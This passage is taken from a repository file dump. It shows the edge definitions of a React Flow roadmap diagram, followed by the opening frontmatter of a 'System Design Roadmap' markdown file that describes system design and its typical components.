\"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 425.31583300304214,\n        \"y\": 43.12147653597968\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GHe8V-REu1loRpDnHbyUn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"rRDGVynX43inSeQ9lR_FS\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GHe8V-REu1loRpDnHbyUnz2-rRDGVynX43inSeQ9lR_FSy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GHe8V-REu1loRpDnHbyUn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"EKD5AikZtwjtsEYRPJhQ2\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GHe8V-REu1loRpDnHbyUnz2-EKD5AikZtwjtsEYRPJhQ2y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GHe8V-REu1loRpDnHbyUn\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"JjB7eB8gdRCAYf5M0RcT7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-GHe8V-REu1loRpDnHbyUnz2-JjB7eB8gdRCAYf5M0RcT7y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GHe8V-REu1loRpDnHbyUn\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"ezptoTqeaepByegxS5kHL\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-GHe8V-REu1loRpDnHbyUnx2-ezptoTqeaepByegxS5kHLw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ezptoTqeaepByegxS5kHL\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"DOESIlBThd_wp2uOSd_CS\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-ezptoTqeaepByegxS5kHLx2-DOESIlBThd_wp2uOSd_CSz1\",\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"zoViI4kzpKIxpU20T89K_\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"2gRIstNT-fTkv5GZ692gx\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-zoViI4kzpKIxpU20T89K_x2-2gRIstNT-fTkv5GZ692gxw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DOESIlBThd_wp2uOSd_CS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"NEsPjQifNDlZJE-2YLVl1\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-DOESIlBThd_wp2uOSd_CSy2-NEsPjQifNDlZJE-2YLVl1z2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DOESIlBThd_wp2uOSd_CS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"zoViI4kzpKIxpU20T89K_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-DOESIlBThd_wp2uOSd_CSy2-zoViI4kzpKIxpU20T89K_z1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DOESIlBThd_wp2uOSd_CS\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"Uk6J8JRcKVEFz4_8rLfnQ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DOESIlBThd_wp2uOSd_CSx2-O730v5Ww3ByAiBSs6fwyMw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"Uk6J8JRcKVEFz4_8rLfnQ\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"O730v5Ww3ByAiBSs6fwyM\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-Uk6J8JRcKVEFz4_8rLfnQz2-O730v5Ww3ByAiBSs6fwyMy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"O730v5Ww3ByAiBSs6fwyM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"HkXiEMLqxJoQyAHav3ccL\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-O730v5Ww3ByAiBSs6fwyMz2-HkXiEMLqxJoQyAHav3ccLy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"O730v5Ww3ByAiBSs6fwyM\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"uIerrf_oziiLg-KEyz8WM\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-O730v5Ww3ByAiBSs6fwyMz2-uIerrf_oziiLg-KEyz8WMy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"14KqLKgh090Rb3MDwelWY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"ocdcbhHrwjJX0KWgmsOL6\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-14KqLKgh090Rb3MDwelWYz2-ocdcbhHrwjJX0KWgmsOL6y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"14KqLKgh090Rb3MDwelWY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"urSjLyLTE5IIz0TFxMBWL\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-14KqLKgh090Rb3MDwelWYz2-urSjLyLTE5IIz0TFxMBWLy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"14KqLKgh090Rb3MDwelWY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"e69-JVbDj7dqV_p1j1kML\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-14KqLKgh090Rb3MDwelWYz2-e69-JVbDj7dqV_p1j1kMLy2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"14KqLKgh090Rb3MDwelWY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"MpM9rT1-_LGD7YbnBjqOk\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-14KqLKgh090Rb3MDwelWYz2-MpM9rT1-_LGD7YbnBjqOky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"14KqLKgh090Rb3MDwelWY\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IkUCfSWNY-02wg2WCo1c6\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-14KqLKgh090Rb3MDwelWYz2-IkUCfSWNY-02wg2WCo1c6y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"14KqLKgh090Rb3MDwelWY\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"XXuzTrP5UNVwSpAk-tAGr\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-14KqLKgh090Rb3MDwelWYy2-XXuzTrP5UNVwSpAk-tAGrz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"XXuzTrP5UNVwSpAk-tAGr\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"Nt0HUWLOl4O77elF8Is1S\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-XXuzTrP5UNVwSpAk-tAGrw2-Nt0HUWLOl4O77elF8Is1Sx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"XXuzTrP5UNVwSpAk-tAGr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"5FXwwRMNBhG7LT5ub6t2L\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-XXuzTrP5UNVwSpAk-tAGrx2-84N4XY31PwXRntXX1sdCUw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5FXwwRMNBhG7LT5ub6t2L\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KLnpMR2FxlQkCHZP6-tZm\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-84N4XY31PwXRntXX1sdCUx2-KLnpMR2FxlQkCHZP6-tZmw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"5FXwwRMNBhG7LT5ub6t2L\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-X4g8kljgVBOBcf1DDzgi\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-5FXwwRMNBhG7LT5ub6t2Lz2-84N4XY31PwXRntXX1sdCUw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-X4g8kljgVBOBcf1DDzgi\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"84N4XY31PwXRntXX1sdCU\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--X4g8kljgVBOBcf1DDzgix2-84N4XY31PwXRntXX1sdCUw2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"84N4XY31PwXRntXX1sdCU\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"a9wGW_H1HpvvdYCXoS-Rf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-84N4XY31PwXRntXX1sdCUy2-a9wGW_H1HpvvdYCXoS-Rfz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"84N4XY31PwXRntXX1sdCU\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"37X1_9eCmkZkz5RDudE5N\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-84N4XY31PwXRntXX1sdCUy2-37X1_9eCmkZkz5RDudE5Nz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"84N4XY31PwXRntXX1sdCU\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YiYRZFE_zwPMiCZxz9FnP\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-84N4XY31PwXRntXX1sdCUy2-YiYRZFE_zwPMiCZxz9FnPz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"3pRi8M4xQXsehkdfUNtYL\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"uQFzD_ryd-8Dr1ppjorYJ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-3pRi8M4xQXsehkdfUNtYLy2-uQFzD_ryd-8Dr1ppjorYJz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"uQFzD_ryd-8Dr1ppjorYJ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"LC5aTmUKNiw9RuSUt3fSE\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-uQFzD_ryd-8Dr1ppjorYJy2-LC5aTmUKNiw9RuSUt3fSEz2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"p--uEm6klLx_hKxKJiXE5\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hDFYlGFYwcwWXLmrxodFX\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-p--uEm6klLx_hKxKJiXE5z2-hDFYlGFYwcwWXLmrxodFXw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hDFYlGFYwcwWXLmrxodFX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"I_NfmDcBph8-oyFVFTknL\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hDFYlGFYwcwWXLmrxodFXz2-I_NfmDcBph8-oyFVFTknLy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hDFYlGFYwcwWXLmrxodFX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"hkjYvLoVt9xKDzubm0Jy3\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hDFYlGFYwcwWXLmrxodFXz2-hkjYvLoVt9xKDzubm0Jy3y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hDFYlGFYwcwWXLmrxodFX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"rVrwaioGURvrqNBufF2dj\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hDFYlGFYwcwWXLmrxodFXz2-rVrwaioGURvrqNBufF2djy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hDFYlGFYwcwWXLmrxodFX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"x1i3qWFtNNjd00-kAvFHw\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hDFYlGFYwcwWXLmrxodFXz2-x1i3qWFtNNjd00-kAvFHwy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hDFYlGFYwcwWXLmrxodFX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"eSZq74lROh5lllLyTBK5a\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hDFYlGFYwcwWXLmrxodFXz2-eSZq74lROh5lllLyTBK5ay1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hDFYlGFYwcwWXLmrxodFX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Q0fKphqmPwjTD0dhqiP6K\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hDFYlGFYwcwWXLmrxodFXz2-Q0fKphqmPwjTD0dhqiP6Ky1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hDFYlGFYwcwWXLmrxodFX\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"IwMOTpsYHApdvHZOhXtIw\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-hDFYlGFYwcwWXLmrxodFXz2-IwMOTpsYHApdvHZOhXtIwy1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"THlzcZTNnPGLRiHPWT-Jv\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PtJ7-v1VCLsyaWWYHYujV\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-THlzcZTNnPGLRiHPWT-Jvy2-PtJ7-v1VCLsyaWWYHYujVz1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"THlzcZTNnPGLRiHPWT-Jv\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"DYkdM_L7T2GcTPAoZNnUR\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-THlzcZTNnPGLRiHPWT-Jvz2-DYkdM_L7T2GcTPAoZNnURw1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KMA7NkxFbPoUDtFnGBFnj\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-KMA7NkxFbPoUDtFnGBFnjx2-0vLaVNJaJSHZ_bHli6Qzsw1\",\n      \"selected\": false,\n      \"type\": \"simplebezier\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"DYkdM_L7T2GcTPAoZNnUR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-DYkdM_L7T2GcTPAoZNnURx2-0vLaVNJaJSHZ_bHli6Qzsz1\",\n      \"selected\": false,\n      \"type\": \"smoothstep\",\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/system-design/system-design.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/system-design.json'\npdfUrl: '/pdfs/roadmaps/system-design.pdf'\norder: 8\nrenderer: 'editor'\nbriefTitle: 'System Design'\nbriefDescription: 'Guide to learn System Design'\ntitle: 'System Design Roadmap'\ndescription: 'Everything you need to know about designing large scale systems.'\nisNew: false\nhasTopics: true\nquestion:\n  title: 'What is System Design?'\n  description: |\n    System design involves creating a detailed blueprint of a system's architecture, components, modules, interfaces, and data to fulfill specific requirements. It includes outlining a structured plan for building, implementing, and maintaining the system, ensuring it meets functional, technical, and business needs. This process addresses considerations of scalability, performance, security, and usability, aiming to develop an efficient and effective solution.\n    \n    ## What are the components of System Design?\n    Some of the major components that play a crucial role in designing a system include Programming language choice, Databases, CDNs, Load Balancers, Caches, Proxies, Queues, Web Servers, Application Servers, Search Engines, Logging and Monitoring Systems, Scaling, and more. Key considerations include scalability, architectural patterns, and security measures to safeguard the system. These elements collectively contribute to 